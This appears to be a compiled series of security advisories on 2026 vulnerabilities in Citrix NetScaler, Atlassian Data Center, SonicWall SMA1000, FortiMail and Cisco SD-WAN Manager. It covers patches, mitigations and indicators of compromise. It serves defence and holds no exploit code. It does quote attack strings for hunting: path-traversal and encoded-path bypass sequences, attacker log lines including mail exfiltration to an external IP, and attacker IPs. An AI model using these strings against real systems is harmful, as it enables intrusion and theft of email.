On October 8th, 2026, Citrix disclosed a critical vulnerability in NetScaler ADC and NetScaler Gateway. Tracked as CVE-2026-107406, the flaw is a memory overflow that can lead to remote code execution (RCE) or denial of service on appliances when the appliance is configured to act as a SAML identity provider. Citrix has released a new fix for the vulnerability. See our Affected Systems or Products table for more information.
NetScaler ADC and NetScaler Gateway are internet-facing appliances that provide application delivery, VPN, and single sign-on access across enterprise environments. NetScaler has faced sustained attacks in recent weeks, with threat actors exploiting two RCE vulnerabilities as zero-days in late September, followed days later by exploitation of a separate SAML flaw to disrupt authentication services.
Citrix states it is not aware of exploitation at the time of its bulletin, and no public proof-of-concept (PoC) is known at the time of writing. Given the critical impact, the SAML attack surface already targeted this month, and the rapid weaponization of recent NetScaler flaws, Beazley Security recommends affected organizations apply available fixes as soon as possible.
Product | Affected Versions | Fixed Versions |
|---|---|---|
NetScaler ADC and NetScaler Gateway 14.1 | Before 14.1-73.37 when configured as a SAML SP or SAML IdP; 14.1-73.37 through 14.1-73.41 when configured as a SAML IdP | 14.1-73.46 and later |
NetScaler ADC and NetScaler Gateway 13.1 | Before 13.1-64.23 when configured as a SAML SP or SAML IdP; 13.1-64.23 through 13.1-64.28 when configured as a SAML IdP | 13.1-64.29 and later releases of 13.1 |
NetScaler ADC 14.1-FIPS | Before 14.1-73.37 FIPS when configured as a SAML SP or SAML IdP; 14.1-73.37 FIPS through 14.1-73.41 FIPS when configured as a SAML IdP | 14.1-73.46 FIPS and later |
NetScaler ADC 13.1-FIPS and 13.1-NDcPP | Before 13.1-37.279 when configured as a SAML SP or SAML IdP; 13.1-37.279 through 13.1-37.282 when configured as a SAML IdP | 13.1-37.283 and later |
Citrix recommends affected customers upgrade to the fixed builds listed in its security bulletin, and its published guidance for this vulnerability does not describe a workaround. Citrix identifies exposed appliances by their SAML configuration. Administrators can review the running configuration for either of the following entries:
add authentication samlAction # appliance is configured as a SAML service provider (SP)
add authentication samlIdPProfile # appliance is configured as a SAML identity provider (IdP)
If patching cannot be immediately applied, the following may help to temporarily reduce risk:
Remove SAML IdP or SP configurations that are no longer in use, since appliances without them do not meet the vulnerability's preconditions.
Restrict access to Gateway and AAA virtual servers that use SAML authentication to trusted networks where operationally feasible.
Monitor appliances for unexplained crashes of the authentication service or unexpected reboots, and preserve logs and configuration if either occurs.
Citrix has released fixed builds for all supported NetScaler ADC and NetScaler Gateway branches, and details are in the official Citrix security bulletin. Citrix upgrades Citrix-managed cloud services and Citrix-managed Adaptive Authentication itself, so those require no customer action.
CVE-2026-107406 is a memory overflow in NetScaler ADC and NetScaler Gateway that Citrix states may lead to remote code execution or denial of service when the appliance is configured to act as a SAML identity provider. Citrix has provided limited technical details about the latest flaw, and no independent technical analysis or public PoC is known at the time of writing.
This is the second SAML-related NetScaler flaw disclosed in a week. CVE-2026-88779, a memory overflow in SAML processing on appliances configured as a SAML SP or IdP, was exploited as a zero-day to crash authentication services and force appliance reboots, and CISA added it to its Known Exploited Vulnerabilities (KEV) catalog on October 4th, 2026. Citrix has not stated whether CVE-2026-107406 is related to CVE-2026-88779 beyond the shared SAML preconditions.
On September 27, 2026, Citrix disclosed eight NetScaler vulnerabilities, including CVE-2026-88771 (unauthenticated command execution) and CVE-2026-88772 (memory overflow when DTLS is enabled). Both were exploited as zero-days and added to CISA’s KEV catalog the same day. Beazley Security previously reported on active exploitation in the wild and logged several indicators of compromise associated with these campaigns. Organizations exposed to these flaws should assess for compromise in addition to upgrading to address CVE-2026-107406.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this vulnerability and need support, please contact our Incident Response team.
Citrix: NetScaler ADC and NetScaler Gateway Security Bulletin (CTX697191)
IFIN: CVE-2026-107406: Somehow, Another Citrix Netscaler SAML Vulnerability
CISA: Critical Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC, Gateway
LevelBlue: Citrix NetScaler CVE-2026-88771: Observed Exploitation Artifacts and Hunt Indicators
On October 5th, 2026, Atlassian disclosed a critical vulnerability in eight of its self-hosted products, including Crowd, Jira, Confluence, and Bitbucket Data Center. Tracked as CVE-2026-21589, the flaw lets an unauthenticated, remote attacker read files in the application's web root with a maliciously crafted request. All self hosted versions before Atlassian's fixed releases are affected, including end-of-life versions.
These products hold source code, documentation, and identity data for many organizations. Atlassian notes that some configurations may store sensitive files in the web root. Public research shows that one such file can expose Atlassian Crowd credentials, and an attacker who can reach Crowd can use them to create administrator accounts.
At the time of writing, exploitation in the wild has not been confirmed however on October 6th, 2026, the cybersecurity research company watchTowr published enough technical details about the flaw to create a proof-of-concept. Given the release of these details, Beazley Security recommends affected organizations apply available fixes as soon as possible on self hosted implementations.
Product | Affected Versions | Fixed Versions |
|---|---|---|
Bitbucket Data Center | 4.6.0 and later, before the fixed release for each branch | 9.4.26, 10.2.8, 10.5.1 |
Confluence Data Center | 5.10.0 and later, before the fixed release for each branch | 9.2.26, 10.2.19 |
Jira Software Data Center | 7.1.0 and later, before the fixed release for each branch | 9.12.40, 10.3.26, 11.3.12 |
Jira Service Management Data Center | 3.1.0 and later, before the fixed release for each branch | 5.12.40, 10.3.26, 11.3.12 |
Bamboo Data Center | 7.0.1 and later, before the fixed release for each branch | 10.2.24, 12.1.12 |
Crowd Data Center | 2.11.0 and later, before the fixed release for each branch | 6.3.7, 7.0.3, 7.1.7, 7.2.4 |
Crucible | All versions before 4.9.15 | 4.9.15 |
Fisheye | All versions before 4.9.15 | 4.9.15 |
Atlassian recommends upgrading every affected instance to a fixed long-term support (LTS) release or later. Atlassian also states that its temporary mitigations are limited and do not replace patching. Organizations still running affected self-hosted products should move to a fixed Data Center release.
Beyond Atlassian's guidance, Beazley Security recommends that any instances authenticated through Crowd and were reachable from the internet while vulnerable rotate the Crowd application password after patching.
If patching cannot be immediately applied, the following may help to temporarily reduce risk on self-hosted implementations:
Take internet-facing instances offline where possible. Atlassian recommends restricting external network access to any instance reachable from the public internet until it is upgraded or a blocking rule is in place. This includes instances that require a login.
Apply Atlassian's web application firewall (WAF) or reverse proxy rule. Atlassian supplied a regex filter that blocks request URLs containing .. next to /, \, or ::, including URL-encoded forms. The rule reportedly works for all eight products affected.
For Confluence, Jira Software, Jira Service Management, Bamboo, and Crowd, apply Atlassian's Tomcat RewriteValve rule on each node. Each node must be shut down, changed, and restarted.
For Bitbucket, add Atlassian's rule to urlrewrite.xml on every node, mirror, and mirror farm node, then restart.
Where Jira, Confluence, Bitbucket, or Bamboo authenticate through Crowd, limit access to Crowd to the IP addresses of the connected application servers.
In-depth details on how to implement these mitigations are available in Atlassian's advisory.
Atlassian has released fixed versions of all eight affected products and recommends upgrading to a fixed LTS release or later. Details are in Atlassian's security advisory for CVE-2026-21589, titled "Arbitrary File Access Vulnerability impacts Multiple Products".
Atlassian has already patched its affected Cloud products, and Cloud customers require no action.
Atlassian describes CVE-2026-21589 as an arbitrary file access flaw within the web application root directory. According to the Atlassian advisory the flaw does not allow directory listing, so the attacker must already know the exact name and path of the target file.
watchTowr researchers reproduced the vulnerability and found that attackers can use specially crafted ..:: sequences to bypass path filtering in Atlassian's web resource handling. This allows an unauthenticated attacker to read files within affected applications. The vulnerability does not allow attackers to read files outside the application directory, but files stored within it may contain sensitive information.
watchTowr demonstrated that Jira environments integrated with Atlassian Crowd could expose crowd.properties, which may contain the Crowd server address and application credentials. If the Crowd server is also reachable from the internet, these credentials could potentially be used to create an account and grant it Jira administrator privileges. watchTowr has released public proof-of-concept code demonstrating the attack.
For detection, Atlassian recommends reviewing web access logs for suspicious path traversal sequences, particularly ..:: appearing in requests to /download/resources/. Defenders should prioritize matching requests that received successful HTTP responses, as these may indicate that a file was successfully retrieved.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this vulnerability and need support, please contact our Incident Response team.
On October 6th, 2026, SonicWall disclosed a critical vulnerability in its SMA1000 series remote access appliances. Tracked as CVE-2026-102255, the flaw lets an unauthenticated, remote attacker abuse a flaw in the Work Place interface to make the appliance perform unauthorized operations.
SMA1000 appliances give remote users access to corporate networks and sit directly on the network edge. Threat actors exploited earlier server-side request forgery flaws in the same Work Place interface as zero-days, which SonicWall disclosed in July and September 2026. The 12.5.0 build that fixed the September flaws is listed as affected by this new one.
SonicWall reports no evidence of exploitation, and no public proof-of-concept (PoC) is known at the time of writing. Given prior zero-day exploitation of this interface, Beazley Security expects threat actors will work quickly to develop exploits. Beazley Security recommends affected organizations apply available fixes as soon as possible.
Product | Affected Versions | Fixed Versions |
|---|---|---|
SonicWall SMA1000 series (6210, 7210, 8200v), 12.4.3 branch | 12.4.3-03526 (platform-hotfix) and earlier | 12.4.3-03670 (platform-hotfix) and later |
SonicWall SMA1000 series (6210, 7210, 8200v), 12.5.0 branch | 12.5.0-02952 (platform-hotfix) and earlier | 12.5.0-03082 (platform-hotfix) and later |
SonicWall advises SMA1000 customers to upgrade to the fixed platform hotfix for their release branch, and the upgrade also addresses the three post-authentication flaws. SonicWall states that SSL-VPN running on SonicWall firewalls is not affected. Reporting on the bulletin also lists the SMA 100 series as not affected.
If patching cannot be immediately applied, the following may help to temporarily reduce risk:
Where business requirements allow, restrict access to the Work Place interface to known source networks or address ranges.
Confirm the Appliance Management Console (AMC) is not reachable from the internet and is limited to trusted administrative networks.
Monitor SMA1000 appliances for unexpected administrative activity, configuration changes, or outbound connections until the fixed hotfix is installed.
Organizations that installed 12.5.0-02952 to remediate the September 2026 zero-day exploitation should note that this build is now listed as affected and must be upgraded again.
SonicWall has released fixed platform hotfixes 12.4.3-03670 and 12.5.0-03082, available to customers through MySonicWall. SonicWall's advisory SNWLID-2026-0017 also lists the fixed builds for each branch.
CVE-2026-102255 is a pre-authentication server-side request forgery (SSRF) flaw in the SMA1000 Work Place interface, the user-facing portal of the appliance. SonicWall attributes it to an unintended alternate access path that lets the appliance act as a forward proxy. It classifies the flaw as both SSRF and an unintended proxy vulnerability. By sending requests through this path, an unauthenticated attacker can direct the appliance to issue requests on the attacker's behalf, reach internal functionality that is not meant to be exposed, and perform unauthorized operations.
Exploitation requires only network access to the Work Place interface and no credentials or user interaction are needed. SonicWall has not published further technical detail or stated what internal services the path can reach. No researcher credit is published at the time of writing, and no public PoC is known.
SonicWall's description of CVE-2026-102255 closely mirrors its description of CVE-2026-83548, an SSRF in the same interface caused by an unintended alternate access path. SonicWall has not said whether the new flaw is a variant or bypass of that fix. The same bulletin also fixes three post-authentication flaws: an OS command injection (CVE-2026-102256), a Zip Slip path traversal in the AMC that leads to code execution (CVE-2026-102257), and a stored cross-site scripting flaw in the AMC (CVE-2026-102258).
The Work Place interface has been targeted repeatedly in recent campaigns. On September 1st, 2026, SonicWall disclosed CVE-2026-83548, a pre-authentication SSRF in the Work Place interface, and CVE-2026-83549, a post-authentication OS command injection, as zero-days under active exploitation. CISA added both to its Known Exploited Vulnerabilities (KEV) catalog on September 2nd, 2026, and attackers chained the flaws to achieve unauthenticated remote code execution.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this vulnerability and need support, please contact our Incident Response team.
On October 1st, 2026, Fortinet disclosed a critical vulnerability in its FortiMail email security gateway and confirmed it has been exploited in the wild. Tracked as CVE-2026-104286, the flaw lets an unauthenticated, remote attacker write arbitrary files to the underlying system through crafted HTTP or HTTPS requests, which Fortinet states can lead to the execution of unauthorized code or commands. CISA added the vulnerability to its Known Exploited Vulnerabilities (KEV) catalog the same day.
FortiMail sits in the mail flow of the organizations that deploy it, inspecting every inbound and outbound message. A compromised appliance gives an attacker a persistent position with direct access to email traffic. Indicators published by Fortinet show attackers implanting persistent code and reconfiguring mail archiving to send copies of messages to attacker infrastructure. Fortinet has named fixed versions, but at the time of writing they are listed as upcoming releases.
Given confirmed zero-day exploitation, the sensitivity of the mail these appliances process, and the frequent targeting of Fortinet edge devices, Beazley Security recommends affected organizations apply the vendor workarounds immediately, upgrade as soon as fixed releases ship, and conduct a thorough review for any signs of compromise.
Fortinet has confirmed in their advisory that the following versions of FortiMail are vulnerable if they have Identity-Based Encryption (IBE) enabled. This appears to be predicated on the web interface for FortiMail being present and internet accessible. We do not see information that identifies the SMTP component being compromised by this vulnerability.
Product | Affected Versions | Fixed Version |
|---|---|---|
FortiMail 8.0 | 8.0.0 through 8.0.1 | 8.0.2 or above (upcoming) |
FortiMail 7.6 | 7.6.0 through 7.6.6 | 7.6.7 or above (upcoming) |
FortiMail 7.4 | 7.4.0 through 7.4.8 | 7.4.9 or above (upcoming) |
FortiMail 7.2 | 7.2.0 through 7.2.9 | Migrate to 7.4.9 or above |
Until fixed releases are available, apply one of the workarounds Fortinet provides.
Public reporting places the flaw in the IBE component, and disabling IBE is Fortinet's primary workaround. Doing so disables the secure message service, and recipients who read encrypted mail through the FortiMail portal will lose access until it is re-enabled.
Disable IBE feature support from the FortiMail CLI:
config system encryption ibe set status disable end
Disable access to the FortiMail management interface from the internet, or restrict it to trusted private networks only.
Neither workaround removes an attacker who has already compromised the appliance. Before changing configurations, export logs and configuration so evidence is preserved. FortiMail 7.2 customers should note that moving to the 7.4 branch only remediates the flaw once 7.4.9 is installed, since current 7.4 builds remain vulnerable.
Fortinet has identified FortiMail 8.0.2, 7.6.7, and 7.4.9 as the fixed releases, but they had not shipped at the time of writing. A single upgrade to the fixed release for your branch remediates the vulnerability. Additional information, including release availability, can be found in the official Fortinet advisory FG-IR-26-175.
The same day as the Fortinet's disclosure CISA added CVE-2026-104286 to its Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation in the wild. Fortinet has not attributed the activity, disclosed when it began, or stated how many organizations were affected.
Fortinet's indicators point to attackers using file writes to establish persistence on the appliance. Review FortiMail systems for the following files, and compare them against the MD5 and SHA256 hashes:
File | MD5 | SHA256 | Modified or Added |
|---|---|---|---|
/data/bin/mailservice | f90fa81a5f521d785f2b2f765e3ab897 | 4000276a150a165d3c2537d1e19fb393c4de8333076a16655e28059cae82157b | Added |
/data/bin/webconsole | ae0ea6502d3fa5f0664bceb73189eb54 | 7a6cea9f5c9e2e9994d4e3c4da73f86cf5acd05ea5d312c066c9d1dafd69ee38 | Added |
/data/etc/ld.so.preload | 8eb64f25d2a8e18e05aae058629473cf | 8953ec7960b09f544a880b072ad4e6cfda7a8303f486251d3478dcfdfbac23b6 | Added |
/data/lib/liblog.so | 4c90a00c7fda4d5c7973ed64c25783a | 8015f34dc84922b03688399d7f9fe7a00361789f7e420c7e2a2cdb23e75cef84 | Added |
/data/migadmin.tar.gz | 9a7156a7d043cc8f9f680579db22f86 | d6fe51c22b91776f4c961ea58bcac5917f15d560a619d7ce726d3d51795609d3 | Modified |
/bin/smit | 5241738a3e9988404239e12243f6d35b | 77324ac428bde86d351fc5fc06f6d64a6bfe737dfb2743df1d4c5ac2418a5b6a | Modified |
/data/etc/httpd.conf | 61af1c4bce1c2eebc8ff689ca5337791 | 703e97c64e61e41dc3aaba580d82bb2aa7b6a11b54ee6fb467ed5d5a3bffdef5 | Modified |
The presence of /data/etc/ld.so.preload or /data/lib/liblog.so is a strong signal of compromise. A preloaded library can hide attacker processes, so a clean process listing on a suspect appliance should not be considered proof of a system being uncompromised.
Fortinet also observed attackers creating a remote mail archive account (named "archive234" in the published sample) that sends archived mail to 79.141.169[.]187 under the /uploads directory.Review archive accounts in the GUI:
Email Archiving > Archive Account > Archive Account
Or with the CLI:
config archive account
For remote destinations or forwarding addresses your team did not configure, along with the archive policies that send mail to them. Search event logs and firewall records for connections involving 79.141.169[.]187 and 45.129.0[.]192, root cron entries referencing /migadmin, admin logouts recorded from a "(null)" interface, IBE decryption errors reporting invalid Base64 data, and admin CLI changes that your organization did not create. The paths listed below are what Fortinet identify as patterns of attack:
- type=event subtype=system pri=debug user=system ui=cron msg="(root) CMD (/bin/sh -c 'O=/migadmin ...
- type=kevent subtype=admin pri=information user=admin ui=(null) action=logout status=success reason=unknown msg="User admin logged out from (null)."
- type=kevent subtype=config pri=information user=admin ui=cli module=unknown submodule=unknown msg="Added 'archive234' to 'archive account' : rotation-size[50]rotation-time[1] rotation-hour[14]destination[remote]remote-ip[79.141.169.187]remote-username[archive234]remote-password[***]remote-directory[/uploads] (user: admin, from: cli)"
- FortiMail::IBE::DecrypterMediaIn::DecrypterMediaIn(FortiMail::MediaIn&, const FortiMail::IBE::KeyFinder&, const FortiMail::EmailAddress&, const FortiMail::Buffer&, FortiMail::IBE::DecrypterMediaIn::Version): Caught BufferException(2), BufferImpl.cpp:973, 'Invalid Base64 Encoding at pos 0. Character=0x2a'
- Internal user *@domain.tld<mailto:*@domain.tld> failed to log in.
Observed attacker IPs |
|---|
79[.]141.169.187 |
45[.]129.0.192 |
Treat any appliance with a matching indicator as compromised. Fortinet has not published cleanup guidance; in that case, rebuild the appliance from known good firmware and rotate administrator passwords, archive server credentials, and any Microsoft 365 or Google Workspace credentials stored for API integration.
Fortinet discovered the vulnerability internally, crediting Gwendal Guégniaud of its Product Security team, and has released limited technical details. The flaw combines a path traversal weakness with improper handling of NULL bytes in the FortiMail web interface. NULL byte flaws of this kind cause the software to treat input as ended before the input is actually terminated. That behavior enables traversal sequences to bypass validation, and attackers can then leverage the file system to write a file outside its intended directory.
No authentication or user interaction is required, only network access to the FortiMail web interface. Fortinet lists the impact as execution of unauthorized code or commands, and the observed indicators show an added shared library registered for preloading, replaced system binaries, and a modified web server configuration. No working public proof-of-concept is known to be available at the time of writing.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.
On September 30th, 2026, Cisco disclosed a critical vulnerability in Cisco Catalyst SD-WAN Manager and confirmed it has been exploited in the wild. Tracked as CVE-2026-76504, the flaw lets an unauthenticated, remote attacker bypass authentication on the Manager's API and gain access with the privileges of the admin user. The vulnerability affects SD-WAN Manager regardless of system configuration.
Catalyst SD-WAN Manager (formerly vManage) is the central management plane for Cisco SD-WAN deployments, controlling configuration and policy across the branch routers and edge devices in the fabric. This is the latest in a series of authentication flaws in Catalyst SD-WAN control components exploited during 2026, and Cisco has released fixed software for all supported release trains.
Cisco's Product Security Incident Response Team became aware of active exploitation in September 2026. Given the administrative control the SD-WAN Manager holds over enterprise networks and the repeated targeting of Cisco SD-WAN infrastructure this year, Beazley Security recommends affected organizations apply available fixes immediately and conduct a thorough review for any signs of compromise.
The affected product is Cisco Catalyst SD-WAN Manager. The following table from the Cisco advisory details the specific versions.
Product | Affected Version | Fixed Version |
|---|---|---|
20.9 | < 20.9.10.1 | 20.9.10.1 |
20.12 | < 20.12.8.2 | 20.12.8.2 |
20.15 | < 20.15.6.1 | 20.15.6.1 |
20.18 | < 20.18.4.1 | 20.18.4.1 |
26.1 | < 26.1.2.1 | 26.1.2.1 |
26.2 | < 26.2.1 | 26.2.1 |
Wording implies that fixes will not be released for versions earlier than 20.9, as the official recommendation from Cisco is to migrate to a fixed release.
Cisco has not recommended any workarounds outside of upgrading to a fixed release.
If on-premises deployments cannot be upgraded immediately, the following actions may help mitigate some risk:
Block access to the SD-WAN Manager from untrusted networks, including the internet.
Where internet access is required, restrict it to known, trusted hosts on only the ports and protocols the Cisco user guides require.
Place SD-WAN control components behind a firewall or other filtering device, and allow HTTPS management access only from a jump host or dedicated management subnet.
These actions may affect current network functionality, so clients should evaluate and test in their environments first. Upgrading to the fixed release Is still recommended even if these mitigations are in place.
Cisco SD-WAN Cloud (Cisco Managed) deployments have already been fixed by the vendor in release 20.15.605 and require no customer action, and Cisco Catalyst SD-WAN Cloud Hosted environments already have the network mitigation in place. Cisco has released fixed software for on-premises Managers, and additional information can be found in the official Cisco security advisory.
Cisco has confirmed active exploitation of this vulnerability in the wild but have not provided details on the threat actors or victimology. They did, however, provide details on some observed attack strings that can be used to threat-hunt against device logs.
Exploitation appears to specifically target the j_security_check API endpoint, and involves URI-encoded characters. Cisco's example demonstrates the string /%6a_security_check (where %6a is the letter "j"), but it should be noted an attacker can encode any single character in the request. Defenders should review the following logs for j_security_check requests from unknown or unauthorized IP addresses:
/var/log/nms/containers/service-proxy/serviceproxy-access.log: requests with an encoded character in the j_security_check path.
/var/log/nms/vmanage-server.log: j_security_check requests containing a URL-encoded character, involving system service accounts with usernames starting with viptela-reserved
Cisco also offers assistance to organizations needing help determining whether their Manager device has been compromised. Such clients are directed to open a Severity 3 case with Cisco TAC, include CVE-2026-76504 in the title, and provide the admin-tech file for review.
In-depth technical details of the bug causing CVE-2026-76504 have not been published, but the indicators of compromise and description of the vulnerability hint at the root cause.
CVE-2026-76504 is described as an authentication bypass in the API session-based authentication management of SD-WAN Manager. API endpoints typically include code to ensure processing is only done for authenticated requests.
An attacker who encodes a single character in the request path apparently bypasses these checks, so it can be assumed that the filtering logic does not account for these characters. The result is API access as the admin user, without needing credentials.
Cisco found the flaw while resolving a Technical Assistance Center support case. No public proof-of-concept is known to be available at the time of writing.
Beazley Security is monitoring client perimeter devices through our Exposure Management Platform to identify impacted devices and support organizations in remediation of any issues found.
We are also conducting threat hunts across our MDR environment to detect potential exploitation attempts against our clients.
If you believe your organization may have been impacted by this attack campaign and need support, please contact our Incident Response team.
Update 6 (October 4th, 2026): Citrix has assigned CVE-2026-88779 (CTX697174) to the SAML issue described on October 2nd and our investigations confirm it is a denial of service condition. Beazley Security has observed threat actors attempt to use it to force reboots so the CVE-2026-88771 log injection fires, however appliances patched on September 27th no longer execute the injected commands, and we have found no evidence of code execution on patched systems. Citrix has released updated patches and global deny list updates that can temporarily mitigate this vulnerability. Please review the mitigations and patches section of this advisory for additional details.
Update 5 (October 2nd, 2026): Citrix published a security bulletin concerning an issue within their SAML authentication subsystem, which affects Netscaler Gateway virtual servers configured with SAML authentication and Gateway or AAA functionality. Reports indicate appliances running the latest builds, which include fixes for CVE-2026-88771 and CVE-2026-88772, are crashing and rebooting under exploitation attempts. This suggests the latest patches may not fully address the underlying attack surface.
Recent exploitation traffic observed by Beazley Security is consistent with earlier command injection attempts and suggests a potential bypass of, or gap in Citrix's recent fixes. Successful exploitation is being followed by delivery of command-and-control (C2) implants. At time of writing, no fixes have been provided by Citrix.
The Technical Details and Indicators of Compromise sections of this advisory have been updated with additional information and insights on recently observed attacks. Beazley Security is closely monitoring this developing situation and will provide updates as new information becomes available.
Update 4 (September 29, 2026): Mandiant published additional public indicators of compromise and evidence of CVE-2026-88772 exploitation in the wild as part of this campaign. Post-exploitation activity includes deployment of a custom PHP webshell named "WHIPSHOT", responsible for receiving C2 traffic and dropping an additional python traffic tunneler "SLAPSHOT". See Indicators of Compromise and updated Technical Details for additional information.
Update 3 (September 29, 2026): Added how CVE-2026-88771 is exploited, public indicators of compromise, and hunting guidance. Security researcher Kevin Beaumont reports that attackers have been using these flaws to drop webshells since early September 2026, weeks before Citrix disclosed them. Exploitation is now widespread, with multiple threat actors scanning for and attacking unpatched appliances. Attackers are deploying PHP webshells, modifying the Apache configuration and using cron jobs to remove forensic artifacts.
Update 2: (September 27th, 2026): Citrix has now released an advisory confirming active in the wild exploitation of two unauthenticated Remote Code Execution (RCE) vulnerabilities that impact the default configuration of Citrix NetScaler appliances. Beazley Security strongly recommends that all organizations apply available patches immediately and leverage the Indicator of Compromise (IOC) scanner that Citrix has made available on the Citrix console.
Update: (September 27th, 2026): Citrix has privately confirmed exploitation and has made a patch publicly available to organizations. Links to the patch are available below in the "patches" section of this advisory.
On September 26th, 2026, security researchers and threat intelligence publicly warned that it had verified reports of multiple unpatched remote code execution vulnerabilities affecting Citrix NetScaler ADC and NetScaler Gateway, as organizations began taking the appliances offline on the advice of national authorities. The reported flaws have not been assigned CVE identifiers, and as of publication Citrix has not yet released an advisory confirming them.
NetScaler ADC and NetScaler Gateway are internet-facing application delivery and VPN appliances that serve as the remote-access entry points for enterprise environments. While reports have not been confirmed by Citrix and NCSC-NL, the potential impact is severe, and the affected product sits at the network perimeter.
Public reporting indicates both vulnerabilities were exploited as zero-days for weeks before disclosure. Multiple Security Researchers and Threat Intelligence organizations have shared reports that attackers have been using them to drop webshells since early September 2026. Early exploitation activity appears to be related to Nation State espionage campaings. At the time of writing, no public reporting has attributed the activity to a named threat actor.
Exploitation has since broadened. Since September 28th, 2026, Lupovis Defense has reportedly observed several distinct actors attempting exploitation against its honeypots following the release of a public proof-of-concept (PoC). Beazley Security expects financially motivated threat actors, including ransomware operators, to weaponize these vulnerabilities in the coming days, as they did with previous NetScaler vulnerabilities, if they have not already done so.
It's important to note that patching closes the vulnerabilities but does not remove backdoors attackers may have already installed. Beazley Security strongly recommends affected organizations apply the fixed versions listed in this advisory immediately, after gathering forensically relevant artifacts from internet exposed NetScaler appliances.
A subsequent October 2nd bulletin warned of exploitation targeting the SAML authentication subsystem, which Citrix has since tracked as CVE-2026-88779 (CTX697174). Based on our incident response work, Beazley Security assesses this activity as a denial of service (DoS): it crashes the authentication daemon and forces appliance reboots, but we have found no evidence of code execution on appliances patched for CVE-2026-88771.
Update October 4th, 2026:
Citrix has released patches for the Denial of Service (DoS) vulnerability assigned CVE-2026-88779. The systems affected by that vulnerability are described below:
Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1 BEFORE 14.1-73.41
Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1 BEFORE 13.1-64.28
Citrix NetScaler ADC FIPS BEFORE 14.1-73.41 FIPS
Citrix NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.282
Update September 27th, 2026: Citrix has released an advisory that confirms that the default configuration of Citrix NetScaler is vulnerable to these Remote Code Execution (RCE) vulnerabilities. In order to be impacted, an appliance must be running a build earlier than the fixed versions listed below.
CVE-2026-88771 affects all NetScaler ADC and NetScaler Gateway deployments with no additional features required. CVE-2026-88772 additionally requires DTLS to be enabled, which is the default on NetScaler Gateway (VPN) virtual servers unless it has been explicitly disabled. GTIG also reported initial access through CVE-2026-88772.
Citrix NetScaler ADC and NetScaler Gateway are the products named in the current reports. No specific affected firmware builds or configurations have been confirmed, so the full scope is not yet established. Any internet-facing NetScaler ADC or Gateway deployment should be treated as potentially in scope until Citrix publishes details.
Product | Affected Versions | Fixed Versions |
NetScaler ADC and NetScaler Gateway 14.1 | < 14.1-73.37 | >= 14.1-73.37 |
NetScaler ADC and NetScaler Gateway 13.1 | < 13.1-64.23 | >= 13.1-64.23 |
NetScaler ADC 14.1-FIPS | < 14.1-73.37 FIPS | >= 14.1-73.37 FIPS |
NetScaler ADC 13.1-FIPS and 13.1-NDcPP | < 13.1-37.279 | >= 13.1-37.279 |
Update: October 4th, 2026: Citrix has made patches available for the Denial of Service (DOS) vulnerability assigned CVE-2026-88779. Beazley Security strongly recommends that organizations apply the patches. For organizations unable to apply updates, you can temporary apply the mitigations described below: Citrix has released signatures which can be used via the Global Deny List feature. Review the details provided by Citrix on how to deploy application firewall detections that attempt to temporarily mitigate this DoS: https://community.citrix.com/techzone-blogs/110_security-updates/understanding-and-addressing-cve-2026-88779-in-citrix-netscaler-adc-and-citrix-netscaler-gateway/#What_Customers_Should_Do__bc9048
Update: September 27th, 2026: Citrix has now made patches available. Please review the "patches" section of this advisory for more details and a link to download and apply the patch.
With no patch available and the reports unconfirmed, remediation is not yet possible, and the priority is to reduce exposure and preserve the ability to investigate. Beazley Security suggests the following interim steps:
Consider taking internet-facing NetScaler ADC and Gateway appliances offline, or restricting their access to trusted and administrative networks, until Citrix confirms the issue and releases a fix.
Increase monitoring and retention of authentication and administrative logs to support later investigation.
Update October 4th, 2026: The Denial of Service vulnerability assigned has been patched. Organizations who leverage SAML to enable user authentication to their Citrix netscaler deployments should upgrade to the versions below:
Upgrade NetScaler ADC and NetScaler Gateway 14.1 to 14.1-73.41 or later.
Upgrade NetScaler ADC and NetScaler Gateway 13.1 to 13.1-64.28 or later.
Upgrade NetScaler ADC 14.1-FIPS to 14.1-73.41 FIPS or later.
Upgrade NetScaler ADC 13.1-FIPS and 13.1-NDcPP to 13.1-37.282 or later.
Update September 27th, 2026: Citrix has made a patch available to confirmed clients. Organizations with active Citrix subscriptions should download and apply the latest patches available via the link below:
https://www.citrix.com/downloads/citrix-adc/virtual-appliances/vpx-release-14-1-73-37.html
At the time of writing, no patch is available for the vulnerabilities described in these reports, and Citrix has not published an advisory addressing them. Organizations should watch for an official Citrix advisory and apply any fix as soon as it is released.
It's critical to note that patching closes the vulnerabilities and MAY remove forensic artifacts of exploitation, but it does not remove backdoors that already exist. Check any NetScaler appliances for the IOCS listed in this advisory before patching if possible. If the Citrix appliances are deployed on virtualized infrastructure, Beazley Security recommends generating a snapshot of the VMs prior to patching to ensure forensic data is available for review.
213.209.159[.]55 | IPv4 | Exploit and payload delivery | Publicly reported |
51.158.203[.]95 | IPv4 | Exploit delivery | Publicly reported |
185.244.213[.]112 | IPv4 | Exploit delivery | Beazley Security |
104.207.47[.]54 | IPv4 | Exploit delivery | Beazley Security |
104.207.46[.]202 | IPv4 | Exploit delivery | Beazley Security |
104.207.32[.]77 | IPv4 | Exploit delivery | Beazley Security |
158.94.211[.]205:8080 | IPv4 | Exfil receiver | Beazley Security |
149.104.78[.]141 | IPv4 | Exploitation attempts, beginning September 24 | GreyNoise |
138.28.234[.]38 | IPv4 | Exploitation with attempted DNS exfiltration | Lupovis |
82.167.14[.]7 | IPv4 | Exploitation check (writes a test marker) | Lupovis |
85.203.46[.]191 | IPv4 | Reconnaissance | Lupovis |
